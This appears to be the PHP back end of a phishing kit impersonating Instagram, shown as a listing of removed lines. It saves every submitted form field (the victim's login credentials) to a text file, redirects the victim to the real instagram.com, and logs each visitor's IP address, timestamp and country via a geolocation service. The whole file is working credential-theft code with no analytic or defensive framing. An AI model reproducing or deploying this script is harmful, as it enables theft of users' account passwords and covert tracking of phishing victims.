| 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148 |
- <?php
-
- // Set the location to redirect the page
- header ('Location: http://www.instagram.com');
-
- // Open the text file in writing mode
- $file = fopen("log.txt", "a");
-
- foreach($_POST as $variable => $value) {
- fwrite($file, $variable);
- fwrite($file, "=");
- fwrite($file, $value);
- fwrite($file, "\r\n");
- }
-
- fwrite($file, "\r\n");
- fclose($file);
- //Llamamos a la función, y ella hace todo :)
- write_visita ();
- //función que escribe la IP del cliente en un archivo de texto
- function write_visita (){
- //Indicar ruta de archivo válida
- $archivo="visitas.txt";
- //Si que quiere ignorar la propia IP escribirla aquí, esto se podría automatizar
- $ip="mi.ip.";
- $new_ip=get_client_ip();
- if ($new_ip!==$ip){
- $now = new DateTime();
- //Distinguir el tipo de petición,
- // tiene importancia en mi contexto pero no es obligatorio
- if (!$_GET) {
- $datos="*POST: ".$_POST;
- }
- else
- {
- //Saber a qué URL se accede
- $peticion = explode('/', $_GET['PATH_INFO']);
- $datos=str_pad($peticion[0],10).' '.$peticion[1];
- }
- $txt = str_pad($new_ip,25). " ".
- str_pad($now->format('Y-m-d H:i:s'),25)." ".
- str_pad(ip_info($new_ip, "Country"),25)." ".json_encode($datos);
- $myfile = file_put_contents($archivo, $txt.PHP_EOL , FILE_APPEND);
- }
- }
- //Obtiene la IP del cliente
- function get_client_ip() {
- $ipaddress = '';
- if (getenv('HTTP_CLIENT_IP'))
- $ipaddress = getenv('HTTP_CLIENT_IP');
- else if(getenv('HTTP_X_FORWARDED_FOR'))
- $ipaddress = getenv('HTTP_X_FORWARDED_FOR');
- else if(getenv('HTTP_X_FORWARDED'))
- $ipaddress = getenv('HTTP_X_FORWARDED');
- else if(getenv('HTTP_FORWARDED_FOR'))
- $ipaddress = getenv('HTTP_FORWARDED_FOR');
- else if(getenv('HTTP_FORWARDED'))
- $ipaddress = getenv('HTTP_FORWARDED');
- else if(getenv('REMOTE_ADDR'))
- $ipaddress = getenv('REMOTE_ADDR');
- else
- $ipaddress = 'UNKNOWN';
- return $ipaddress;
- }
- //Obtiene la info de la IP del cliente desde geoplugin
- function ip_info($ip = NULL, $purpose = "location", $deep_detect = TRUE) {
- $output = NULL;
- if (filter_var($ip, FILTER_VALIDATE_IP) === FALSE) {
- $ip = $_SERVER["REMOTE_ADDR"];
- if ($deep_detect) {
- if (filter_var(@$_SERVER['HTTP_X_FORWARDED_FOR'], FILTER_VALIDATE_IP))
- $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
- if (filter_var(@$_SERVER['HTTP_CLIENT_IP'], FILTER_VALIDATE_IP))
- $ip = $_SERVER['HTTP_CLIENT_IP'];
- }
- }
- $purpose = str_replace(array("name", "\n", "\t", " ", "-", "_"), NULL, strtolower(trim($purpose)));
- $support = array("country", "countrycode", "state", "region", "city", "location", "address");
- $continents = array(
- "AF" => "Africa",
- "AN" => "Antarctica",
- "AS" => "Asia",
- "EU" => "Europe",
- "OC" => "Australia (Oceania)",
- "NA" => "North America",
- "SA" => "South America"
- );
- if (filter_var($ip, FILTER_VALIDATE_IP) && in_array($purpose, $support)) {
- $ipdat = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=" . $ip));
- if (@strlen(trim($ipdat->geoplugin_countryCode)) == 2) {
- switch ($purpose) {
- case "location":
- $output = array(
- "city" => @$ipdat->geoplugin_city,
- "state" => @$ipdat->geoplugin_regionName,
- "country" => @$ipdat->geoplugin_countryName,
- "country_code" => @$ipdat->geoplugin_countryCode,
- "continent" => @$continents[strtoupper($ipdat->geoplugin_continentCode)],
- "continent_code" => @$ipdat->geoplugin_continentCode
- );
- break;
- case "address":
- $address = array($ipdat->geoplugin_countryName);
- if (@strlen($ipdat->geoplugin_regionName) >= 1)
- $address[] = $ipdat->geoplugin_regionName;
- if (@strlen($ipdat->geoplugin_city) >= 1)
- $address[] = $ipdat->geoplugin_city;
- $output = implode(", ", array_reverse($address));
- break;
- case "city":
- $output = @$ipdat->geoplugin_city;
- break;
- case "state":
- $output = @$ipdat->geoplugin_regionName;
- break;
- case "region":
- $output = @$ipdat->geoplugin_regionName;
- break;
- case "country":
- $output = @$ipdat->geoplugin_countryName;
- break;
- case "countrycode":
- $output = @$ipdat->geoplugin_countryCode;
- break;
- }
- }
- }
- return $output;
- }
- exit;
- ?>
|